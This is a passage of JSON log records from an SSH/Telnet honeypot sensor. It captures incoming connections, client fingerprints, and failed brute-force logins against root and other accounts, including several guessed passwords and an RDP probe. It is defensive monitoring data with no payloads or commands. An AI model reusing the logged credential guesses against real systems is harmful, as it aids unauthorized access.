"ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:26.572392Z","src_ip":"43.134.184.253","session":"890dcc8fe6ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flying","message":"login attempt [root/flying] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:27.588206Z","src_ip":"43.134.184.253","session":"890dcc8fe6ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:28.837117Z","src_ip":"43.134.184.253","session":"890dcc8fe6ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34756,"dst_ip":"10.17.0.5","dst_port":23,"session":"17b01f467f77","protocol":"telnet","message":"New connection: 152.42.224.71:34756 (10.17.0.5:23) [session: 17b01f467f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:29.909169Z"}
{"eventid":"cowrie.session.closed","duration":16.92971158027649,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:33.063069Z","src_ip":"199.45.154.150","session":"b48cf74cb94e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.187.163","src_port":44954,"dst_ip":"10.17.0.5","dst_port":22,"session":"52b335b6f413","protocol":"ssh","message":"New connection: 86.111.187.163:44954 (10.17.0.5:22) [session: 52b335b6f413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:35.331471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:35.337156Z","src_ip":"86.111.187.163","session":"52b335b6f413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:35.415634Z","src_ip":"86.111.187.163","session":"52b335b6f413","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b5:4e:59:2e:10:8f:62:00:d0:63:03:32:f2:42:61:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHEGR5OZIXdCkOxkFvf4ur/O/R88X0hGFgihioi4b8FhqG7mCdqKqePFxjN1OZaQ+/r3fxDrV+F1VpNr/lScAG+UpbOURQP8shpMBXAgXHzG7hVxofjf/pHm6CMzVBpQhR9Um08v4nJsbmfsLX1d68igXhg+R8j6WG9z+UiLDqsu5zyCSZbdsTDpn+TuLejCNOM7gvMNPwlYrkm/0+uSSbHzTVmb75NaEcG2FwmodO7xTgt91UyuVRfRDMHfn7thwZlMGPVL8zy/rlSHBeMYOWMIn4ko3nFOA2ICPeXsh9ABEqDQvqXpk5PBoc8dFnFSOGatCCh0M/RA1DozxlSXhp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b5:4e:59:2e:10:8f:62:00:d0:63:03:32:f2:42:61:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:35.772086Z","src_ip":"86.111.187.163","session":"52b335b6f413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b5:4e:59:2e:10:8f:62:00:d0:63:03:32:f2:42:61:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHEGR5OZIXdCkOxkFvf4ur/O/R88X0hGFgihioi4b8FhqG7mCdqKqePFxjN1OZaQ+/r3fxDrV+F1VpNr/lScAG+UpbOURQP8shpMBXAgXHzG7hVxofjf/pHm6CMzVBpQhR9Um08v4nJsbmfsLX1d68igXhg+R8j6WG9z+UiLDqsu5zyCSZbdsTDpn+TuLejCNOM7gvMNPwlYrkm/0+uSSbHzTVmb75NaEcG2FwmodO7xTgt91UyuVRfRDMHfn7thwZlMGPVL8zy/rlSHBeMYOWMIn4ko3nFOA2ICPeXsh9ABEqDQvqXpk5PBoc8dFnFSOGatCCh0M/RA1DozxlSXhp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:35.776354Z","src_ip":"86.111.187.163","session":"52b335b6f413","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:3b:d2:77:17:03:1d:8d:7c:25:92:fc:fc:63:a1:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx7OC8/MWqcsTH6DbEwewbmiTh/EHNafUBtNrQNBJAwRbAThMARxkiPSbTxb/j+M3nHbwN5+/a+QrCLQV7hl/uHYc3nu3VDHMli6Qw+5S+aF4RMjtXUKc59NbyzPE4YQLENC3AJ+sAM9OeKusS4jJsgkM07vJQzo8h2IUuCGLOXK6Y6BkQKGsHBVPSgsUFew8ZR5Zk9SyWBbBu9OpypWVZwAUH8KAU2iHHfuZw0/TRGZjWIoehUvt2hlYgXZowtnklRyL66zKJspe9cY0X9GBdz0Zit32TtLSkj3NOQNhgfg+rLXfqpTeGLfba79ZuRYl4CMtSEJO1rH4yKQL5Z2WV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:3b:d2:77:17:03:1d:8d:7c:25:92:fc:fc:63:a1:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:35.853697Z","src_ip":"86.111.187.163","session":"52b335b6f413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:3b:d2:77:17:03:1d:8d:7c:25:92:fc:fc:63:a1:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx7OC8/MWqcsTH6DbEwewbmiTh/EHNafUBtNrQNBJAwRbAThMARxkiPSbTxb/j+M3nHbwN5+/a+QrCLQV7hl/uHYc3nu3VDHMli6Qw+5S+aF4RMjtXUKc59NbyzPE4YQLENC3AJ+sAM9OeKusS4jJsgkM07vJQzo8h2IUuCGLOXK6Y6BkQKGsHBVPSgsUFew8ZR5Zk9SyWBbBu9OpypWVZwAUH8KAU2iHHfuZw0/TRGZjWIoehUvt2hlYgXZowtnklRyL66zKJspe9cY0X9GBdz0Zit32TtLSkj3NOQNhgfg+rLXfqpTeGLfba79ZuRYl4CMtSEJO1rH4yKQL5Z2WV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:35.858155Z","src_ip":"86.111.187.163","session":"52b335b6f413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49060,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed9aafd2362b","protocol":"telnet","message":"New connection: 152.42.224.71:49060 (10.17.0.5:23) [session: ed9aafd2362b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:35.927697Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:5e:07:1a:5d:7e:fb:d8:7f:15:65:f0:9d:20:5f:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvhCaq446/JmYdiT/UOhshZbmybN0bDERNt3Iwlt16/J0Tp4oN+c2z8WzLG6EBfYF0nWPTqcltjs2cnDA3pmHpz+twLNgM91o1SjLOofrA/tcUZLLGiCPKB0wQMeeQwvsEv1ynvYTj/uYr8FD9RG0JDFl2pXxLdIqJMn/dYNV++TYdsUBX89zCNPlaPnn7AoHnujuPxLma02M5QYGpZersnYHsRbatmnVsl3kkYth8YwxGc73D/9R7AFfzyrM82no4J+8Y8DVTrn/F1W4qVh9sMAcemOaMP0st3wdls4+zVtcB6qeJhKRvMKysmvp240Zxw/LjJdeSrmzO291GbTpr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:5e:07:1a:5d:7e:fb:d8:7f:15:65:f0:9d:20:5f:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:35.938739Z","src_ip":"86.111.187.163","session":"52b335b6f413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:5e:07:1a:5d:7e:fb:d8:7f:15:65:f0:9d:20:5f:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvhCaq446/JmYdiT/UOhshZbmybN0bDERNt3Iwlt16/J0Tp4oN+c2z8WzLG6EBfYF0nWPTqcltjs2cnDA3pmHpz+twLNgM91o1SjLOofrA/tcUZLLGiCPKB0wQMeeQwvsEv1ynvYTj/uYr8FD9RG0JDFl2pXxLdIqJMn/dYNV++TYdsUBX89zCNPlaPnn7AoHnujuPxLma02M5QYGpZersnYHsRbatmnVsl3kkYth8YwxGc73D/9R7AFfzyrM82no4J+8Y8DVTrn/F1W4qVh9sMAcemOaMP0st3wdls4+zVtcB6qeJhKRvMKysmvp240Zxw/LjJdeSrmzO291GbTpr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:35.943253Z","src_ip":"86.111.187.163","session":"52b335b6f413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":37352,"dst_ip":"10.17.0.5","dst_port":22,"session":"28bf4e6afb21","protocol":"ssh","message":"New connection: 2.57.122.238:37352 (10.17.0.5:22) [session: 28bf4e6afb21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:36.020542Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:5a:bc:19:54:6b:2d:05:9e:34:33:36:01:4f:f5:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKC/pKKRRNA3GB5wVMeCfzXhy2lqAGRa7RY8h5E891Q2uJSEL07dGFD1opgoQFLqWFy4yXtOBlOSIFw1o4a9bVTIXW48V+ccA/jWTP18Bx84BxfsMsPZQD6GDmZuWgfN5/MSiALc27FHzGhhHnPniY82neN6LBiLA8WOoRYlDYTvnVh/4grVnNHkFIHMTEQGcDahTDLiF7svpQI30Oo4IujE3ohavgb8Orjc7RKtg3sQkmTLD18TscQ4zFALIwk9R5C2/8KKniAyBJCAjSUdvlyYcWv0sFjpjNjtLQYwD6V30egZb/Abr3lbpIV9RBneaQqLIWSbzJ66UkuLHChQ3j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:5a:bc:19:54:6b:2d:05:9e:34:33:36:01:4f:f5:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:36.025545Z","src_ip":"86.111.187.163","session":"52b335b6f413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:5a:bc:19:54:6b:2d:05:9e:34:33:36:01:4f:f5:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKC/pKKRRNA3GB5wVMeCfzXhy2lqAGRa7RY8h5E891Q2uJSEL07dGFD1opgoQFLqWFy4yXtOBlOSIFw1o4a9bVTIXW48V+ccA/jWTP18Bx84BxfsMsPZQD6GDmZuWgfN5/MSiALc27FHzGhhHnPniY82neN6LBiLA8WOoRYlDYTvnVh/4grVnNHkFIHMTEQGcDahTDLiF7svpQI30Oo4IujE3ohavgb8Orjc7RKtg3sQkmTLD18TscQ4zFALIwk9R5C2/8KKniAyBJCAjSUdvlyYcWv0sFjpjNjtLQYwD6V30egZb/Abr3lbpIV9RBneaQqLIWSbzJ66UkuLHChQ3j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:36.030286Z","src_ip":"86.111.187.163","session":"52b335b6f413","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:36.037416Z","src_ip":"2.57.122.238","session":"28bf4e6afb21","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:82:3b:10:cb:32:5e:e4:d3:86:43:72:d4:ef:1b:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD3nqkaXGBPwb5ZXCRAKKw7aRVPl48NOu7zeRNynBinKzubOa6LBOJYO1Z8lvmpJNw1+cSI8WnvAqatcUUw55AsoRGhS9X5BLFdSc6GrIrKjCwoHYr7vZ6eG3Io4PxWRuEJwr+JZbNRK48GWY5jhoPCl2CIkClv5qS5nh89Sji8bNgbutFXNtLl3c5TIx4+p1IStp+H4D5M5QZs1nVOg/rf5kHXSsXrvDTOmxFQLeODuXKyFL32yDjmiI2JrVdW6Tl0v3/QRQSYFpB/ZFozYL/WLv61Bxf6ej9s3Zu+2Ms/CTFMAd4YxW9zb5QvBIxaDSDfOkGdFsEemsin4GWvJ9Lb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:82:3b:10:cb:32:5e:e4:d3:86:43:72:d4:ef:1b:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:36.107792Z","src_ip":"86.111.187.163","session":"52b335b6f413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:82:3b:10:cb:32:5e:e4:d3:86:43:72:d4:ef:1b:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD3nqkaXGBPwb5ZXCRAKKw7aRVPl48NOu7zeRNynBinKzubOa6LBOJYO1Z8lvmpJNw1+cSI8WnvAqatcUUw55AsoRGhS9X5BLFdSc6GrIrKjCwoHYr7vZ6eG3Io4PxWRuEJwr+JZbNRK48GWY5jhoPCl2CIkClv5qS5nh89Sji8bNgbutFXNtLl3c5TIx4+p1IStp+H4D5M5QZs1nVOg/rf5kHXSsXrvDTOmxFQLeODuXKyFL32yDjmiI2JrVdW6Tl0v3/QRQSYFpB/ZFozYL/WLv61Bxf6ej9s3Zu+2Ms/CTFMAd4YxW9zb5QvBIxaDSDfOkGdFsEemsin4GWvJ9Lb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:36.112018Z","src_ip":"86.111.187.163","session":"52b335b6f413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:36.137280Z","src_ip":"2.57.122.238","session":"28bf4e6afb21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:36.193013Z","src_ip":"86.111.187.163","session":"52b335b6f413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:36.437755Z","src_ip":"2.57.122.238","session":"28bf4e6afb21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.45.154.150","src_port":56208,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0373601be85","protocol":"telnet","message":"New connection: 199.45.154.150:56208 (159.203.135.109:23) [session: e0373601be85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:36.621367Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49074,"dst_ip":"10.17.0.5","dst_port":23,"session":"88224dad6856","protocol":"telnet","message":"New connection: 152.42.224.71:49074 (10.17.0.5:23) [session: 88224dad6856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:36.924472Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:37.540324Z","src_ip":"2.57.122.238","session":"28bf4e6afb21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.2906384468078613,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:39.911906Z","src_ip":"199.45.154.150","session":"e0373601be85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.861427068710327,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:39.935935Z","src_ip":"152.42.224.71","session":"1ff593c12979","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.45.154.150","src_port":60626,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d27842639e7","protocol":"telnet","message":"New connection: 199.45.154.150:60626 (159.203.135.109:23) [session: 8d27842639e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:45.102539Z"}
{"eventid":"cowrie.session.closed","duration":40.539621114730835,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:47.201375Z","src_ip":"152.42.224.71","session":"d32a525e0c2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63149,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ff26a1a483d","protocol":"ssh","message":"New connection: 152.42.212.128:63149 (10.17.0.5:22) [session: 2ff26a1a483d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:47.736182Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:47.741349Z","src_ip":"152.42.212.128","session":"2ff26a1a483d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:47.749583Z","src_ip":"152.42.212.128","session":"2ff26a1a483d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.11764645576477,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:53.042020Z","src_ip":"152.42.224.71","session":"88224dad6856","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.521408319473267,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:53.448979Z","src_ip":"152.42.224.71","session":"ed9aafd2362b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.704667568206787,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:55.807061Z","src_ip":"199.45.154.150","session":"8d27842639e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42558,"dst_ip":"10.17.0.5","dst_port":23,"session":"f498908f64af","protocol":"telnet","message":"New connection: 152.42.224.71:42558 (10.17.0.5:23) [session: f498908f64af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:59.411604Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42574,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd9f3be6ec0b","protocol":"telnet","message":"New connection: 152.42.224.71:42574 (10.17.0.5:23) [session: dd9f3be6ec0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:59.988921Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37736,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1c42cb67d11","protocol":"ssh","message":"New connection: 103.176.20.57:37736 (10.17.0.5:22) [session: c1c42cb67d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:19:11.220490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:19:11.226216Z","src_ip":"103.176.20.57","session":"c1c42cb67d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 